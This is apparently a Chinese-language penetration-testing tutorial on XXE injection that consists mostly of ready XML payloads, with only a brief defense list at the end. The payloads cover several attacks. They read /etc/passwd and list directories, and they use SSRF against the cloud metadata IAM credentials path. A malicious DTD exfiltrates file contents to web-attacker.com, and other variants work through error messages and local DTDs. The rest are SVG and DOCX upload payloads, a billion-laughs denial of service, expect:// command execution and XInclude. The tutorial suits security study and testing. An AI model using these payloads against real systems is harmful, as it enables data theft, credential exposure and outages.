XML

XXE - 图1

:::info XXE 全称为 XML 外部实体注入,那么发生漏洞的位置自然在于 XML 解析器在解析 XML 输入时产生,并且是一个注入漏洞,注入的内容是 XML 外部实体。

同时需要注意的是普通 XML 注入很容易做到,但是没有危害,所以只有当我们注入的 XML 外部实体被成功解析,我们的 XXE 漏洞才可以说是成功的。

XML 解析器在解析 XML 外部实体时,会根据 URL 中指定的方案来查询各种网络协议和服务 (DNS、FTP、HTTP、SMB 等),外部实体对于在文档中创建动态引用非常有用,这样对应用资源所做的任何更改都会在文档中自动更新,相应的如果处理不当也会产生诸多攻击的。

:::

:::color4 产生原因:

  • 没有禁止对外部实体加载
  • XML 解析器对 ENTITY 标签执行近似处理原则,并且这是我们利用的关键

:::

攻击

  • 文件读取
  • 目录枚举 : Java
  • 命令执行
  • 攻击内网: 攻击内网服务器、内网端口检测
  • DDOS 攻击
  • SSRF

文件读取

  • Linux 读取: /etc/passwd
  • windows 读取: C:\windows\system32\drivers\etc\hosts

一个简单的示例:

  1. <!--?xml version="1.0" ?-->
  2. <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
  3. <data>&example;</data>

如果网站是 PHP 搭建的,我们可以使用下面方法进行读取:

  1. <!--?xml version="1.0" ?-->
  2. <!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
  3. <data>&example;</data>

利用协议:eg: file

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE data [
  3. <!ELEMENT stockCheck ANY>
  4. <!ENTITY file SYSTEM "file:///etc/passwd">
  5. ]>
  6. <stockCheck>
  7. <productId>&file;</productId>
  8. <storeId>1</storeId>
  9. </stockCheck>

目录列表

在基于 Java 的应用程序中,我们可以通过 XXE 列出目录内容

  1. <!-- 根目录 / -->
  2. <?xml version="1.0" encoding="UTF-8"?>
  3. <!DOCTYPE root[
  4. <!ELEMENT foo ANY>
  5. <!ENTITY xxe SYSTEM "file:///">
  6. ]>
  7. <root>
  8. <foo>&xxe;</foo>
  9. </root>
  10. <!-- /etc/ -->
  11. <?xml version="1.0" encoding="UTF-8"?>
  12. <!DOCTYPE root[
  13. <!ENTITY xxe SYSTEM "file:///etc/" >
  14. ]>
  15. <root>
  16. <foo>&xxe;</foo>
  17. </root>

SSRF

SSRF

要想 XXE 漏洞执行 SSRF 攻击,我们需要知道指定的 URL

  • 响应中存在资源
  • 响应中不存在资源,我们只能执行 Bind SSRF 攻击
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE foo [
  3. <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin">
  4. ]>
  5. <stockCheck>
  6. <productId>&xxe;</productId>
  7. <storeId>1</storeId>
  8. </stockCheck>

Bind XXE

Bind XXE 出现在应用程序易受到 XXE 注入攻击,但是在响应中不存在任何资源,这意味着我们无法直接检索服务器端文件,因此 Bind XXE 比常规 XXE 漏洞更加难以利用

  • 使用 OAST 技术检测,有时会在交互数据中泄露敏感数据
  • 通过错误消息包含敏感数据的方式触发 XML 解析错误

OAST 技术

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE test [
  3. <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe;
  4. ]>
  5. <stockCheck>
  6. <productId>3</productId>
  7. <storeId>1</storeId>
  8. </stockCheck>

外部实体

  1. <!-- malicious.dtd -->
  2. <!ENTITY % file SYSTEM "file:///etc/hostname">
  3. <!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
  4. %eval;
  5. %exfiltrate;

执行分析

该 DTD 执行步骤:

  • 定义一个名为 file 的 XML 参数实体,包含 /etc/passwd 文件内容
  • 定义一个名为 eval 的 XML 参数实体,其中包含另一个名为 exfiltrate 的 XML 的参数实体的动态声明,将通过向攻击者的 WEB 服务器发出 HTP 请求来评估 exfiletrate 实体,其中包含 URL 查询字符串的文件实体值
  • 使用 %eval ,这将会执行 exfiletrate 实体的动态声明
  • 使用 exfiletrate 实体,以便通过请求指定 URL 来获取其值
然后攻击者必须在他们控制的系统上托管恶意的 DTD文件,通常会加载到网络服务器上,eg : http://web-attacker.com/malicious.dtd

最后攻击者必须向易受攻击的应用程序提交以下 XXE 负载:

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!DOCTYPE foo [
  3. <!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd">
  4. %xxe;
  5. ]>
  6. <stockCheck>
  7. <productId>3</productId>
  8. <storeId>1</storeId>
  9. </stockCheck>

错误消息

这种情况下,我们将使服务器加载一个恶意 DTD ,该 DTD 将在错误消息中显示文件的内容

我们可以使用恶意的外部 DTD 来触发包含 /etc/passwd 文件内容的 XML 解析错误消息:

  1. <!-- malicious.dtd -->
  2. <!ENTITY % file SYSTEM "file:///etc/passwd">
  3. <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  4. %eval;
  5. %error;

执行分析

该 DTD 实现的步骤:

  • 定义一个名为 file 的 XML 参数实体,包含 /etc/passwd 文件内容
  • 定义一个名为 eval 的 XML 参数实体,其中包含另一个名为 error 的 XML 的参数实体的动态声明,error 实体将通过加载一个不存在的关键字来评估,该文件的名称包含文件实体的值
  • 使用 %eval ,这将会执行 error 实体的动态声明
  • 使用 error 实体,以便通过尝试加载不存在的文件来评估其值,从而导致包含不存在文件名称的错误消息,该文件是 /etc/passwd 文件内容

错误消息 — 系统 DTD

当外部交互不被允许的情况下, Bling XXE 又该如何执行呢?

在这种情况下,由于 XML 语言规范中的漏洞,仍然有可能触发包含敏感数据的错误消息。如果文档的 DTD 使用内部和外部 DTD 声明的混合,那么内部 DTD 可以重新定义在外部 DTD 中声明的实体,发生这种情况时,对在另一个参数实体的定义中使用 XML 参数实体限制就会放宽。

这意味着攻击者可以从内部 DTD 中使用基于错误的 XXE 技术,前提是他们使用的 XML 参数实体正在重新定义外部 DTD 中声明的实体,当然,如果带外连接被阻塞则无法从远程位置加载外部 DTD,相反他需要的是应用程序服务器本地的外部 DTD 文件。本质上讲,攻击设计调用碰巧存在在本地文件系统上的 DTD 文件,并将重新用于以触发解析的方式重新定义现有实体包含铭感数据的错误。

比如,假设服务器文件系统上的 /usr/local/app/schema.dtd 位置有一个 DTD 文件,这个 DTD 文件定义了一个名为 custom_entity 的实体,攻击者可能通过提交如下所示的混合 DTD 来触发包含 /etc/passwd 文件内容的 XML 解析错误消息

  1. <!DOCTYPE foo [
  2. <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
  3. <!ENTITY % custom_entity '
  4. <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
  5. <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
  6. &#x25;eval;
  7. &#x25;error;
  8. '>
  9. %local_dtd;
  10. ]>

执行分析

这个 DTD 执行遵循以下步骤:

  • 定义一个名为 local_dtd 的 XML 参数实体,包含服务器文件系统上存在的外部 DTD 文件内容
  • 重新定义名为 custom_entity 的参数实体,该实体已在外部 DTD 文件中定义。该实体被重写定义为包含已经描述的基于错误的 XXE 攻击,用于触发包含 /etc/passwd 文件内容的错误消息
  • 使用 local_dtd 实体,以便解释外部 DTD ,包括 custom_entity 实体重新定义值,这会产生所需的错误消息
找到系统中可能存在 DTD 路径:

dtd-finder/list at master · GoSecure/dtd-finder

  1. java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
  2. Scanning TAR file /tmp/dadocker.tar
  3. [=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
  4. Testing 0 entities : []
  5. [=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
  6. Testing 0 entities : []

借助文件上传

一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式的示例是办公文档格式(如 DOCX)和图像格式(如 SVG)。

例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收 PNG 或 JPEG 等格式,正在使用的图像处理库也可能支持 SVG 图像。由于 SVG 格式使用 XML,攻击者可以提交恶意 SVG 图像,从而达到 XXE 漏洞的隐藏攻击面。

  1. <!-- SVG 图像 -->
  2. <?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

修改请求内容

大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded. 一些网站希望接收这种格式的请求,但会容忍其他内容类型,包括 XML

例如,如果一个普通请求包含以下内容:

  1. POST /action HTTP/1.0
  2. Content-Type: application/x-www-form-urlencoded
  3. Content-Length: 7
  4. foo=bar

然后您可以提交以下请求,并得到相同的结果:

  1. POST /action HTTP/1.0
  2. Content-Type: text/xml
  3. Content-Length: 52
  4. <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么只需将请求重新格式化为使用 XML 格式,您就可以到达隐藏的 XXE 攻击面。

DDOS 攻击

  1. <?xml version="1.0"?>
  2. <!DOCTYPE lolz [
  3. <!ENTITY lol "abc">
  4. <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  5. <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  6. <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  7. <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  8. <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  9. <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  10. <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  11. <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  12. ]>
  13. <lolz>&lol9;</lolz>

该攻击通过创建一项递归的 XML 定义,在内存中生成十亿个”abc”字符串,从而导致 DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

XXE 利用 Office Open XML 解析器

许多网络应用程序允许你上传微软的Office文档,然后他们从中解析出一些细节。例如,你可能有一个网络应用程序,允许你通过上传XLSX格式的电子表格来导入数据。在某些时候,为了让解析器从电子表格中提取数据,解析器将需要解析至少一个XML文件。

测试的唯一方法是生成一个包含XXE有效载荷的Microsoft Office文件,所以让我们来做这件事。首先,创建一个空目录来解压你的文件,然后解压它

  1. test$ ls
  2. test.docx
  3. test$ mkdir unzipped
  4. test$ unzip ./test.docx -d ./unzipped/
  5. Archive: ./test.docx
  6. inflating: ./unzipped/word/numbering.xml
  7. inflating: ./unzipped/word/settings.xml
  8. inflating: ./unzipped/word/fontTable.xml
  9. inflating: ./unzipped/word/styles.xml
  10. inflating: ./unzipped/word/document.xml
  11. inflating: ./unzipped/word/_rels/document.xml.rels
  12. inflating: ./unzipped/_rels/.rels
  13. inflating: ./unzipped/word/theme/theme1.xml
  14. inflating: ./unzipped/[Content_Types].xml

在你最喜欢的文本编辑器(vim)中打开./unzipped/word/document.xml,编辑XML以包含你喜欢的XXE有效载荷。我尝试的第一件事往往是一个HTTP请求,像这样:

  1. <!DOCTYPE x [ <!ENTITY test SYSTEM "http://[ID].burpcollaborator.net/"> ]>
  2. <x>&test;</x>

这些行应该插入两个根XML对象之间,就像这样,当然,你需要用一个你可以监控请求的URL来替换这个URL:

XXE - 图2

剩下的就是将文件压缩起来,创建你的邪恶的poc.docx文件。从我们先前创建的 “解压缩 “目录中,运行以下程序:

XXE - 图3

现在,将文件上传到你的(希望是)脆弱的网络应用程序中,并向黑客之神祈祷在你的Burp Collaborator日志中出现请求。

Jar: protocl

这个方法仅仅适合 Java应用程序, 它允许访问PKZIP文件(.zip, .jar, …)内的文件,并适用于本地和远程文件:

  1. jar:file:///var/myarchive.zip!/file.txt
  2. jar:https://download.host.com/myarchive.zip!/file.txt

能够访问PKZIP文件内的文件对于通过系统DTD文件来滥用XXE是超级有用的。请看如何滥用系统DTD文件。

下面两种方式比较冷门

RCE

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

  1. <?xml version="1.0"?>
  2. <!DOCTYPE GVI [ <!ELEMENT foo ANY >
  3. <!ENTITY xxe SYSTEM "expect://id" >]>
  4. <catalog>
  5. <core id="test101">
  6. <description>&xxe;</description>
  7. </core>
  8. </catalog>

XInclude 攻击

一些应用程序接收到客户端提交的数据后,在服务器端将其嵌入到 XML 文档中,然后解析该文档,当客户端提交的数据被放入后端 SOAP 请求,并有后端 SOAP 服务处理时,就会出现这种漏洞。

在这种情况下,您无法执行经典的 XXE 攻击,因为您无法控制整个 XML 文档,因此无法定义或修改DOCTYPE元素。但是,您也许可以XInclude改用。XInclude是 XML 规范的一部分,它允许从子文档构建 XML 文档。您可以XInclude在 XML 文档中的任何数据值中进行攻击,因此可以在您仅控制放置在服务器端 XML 文档中的单个数据项的情况下执行攻击。

要执行XInclude攻击,您需要引用XInclude命名空间并提供您希望包含的文件的路径。例如:

  1. <foo xmlns:xi="http://www.w3.org/2001/XInclude">
  2. <xi:include parse="text" href="file:///etc/passwd"/></foo>

防御

我们在上面讲过 XXE 漏洞产生的两大原因,对于第二条我们没有办法进行修改,所以只能根据第一条外加过滤

  • 禁用外部实体
  • 过滤和验证用户提交的 XML 数据
  • 不允许 XML 中含有任何自己声明的 DTD
  • 禁用 XInclude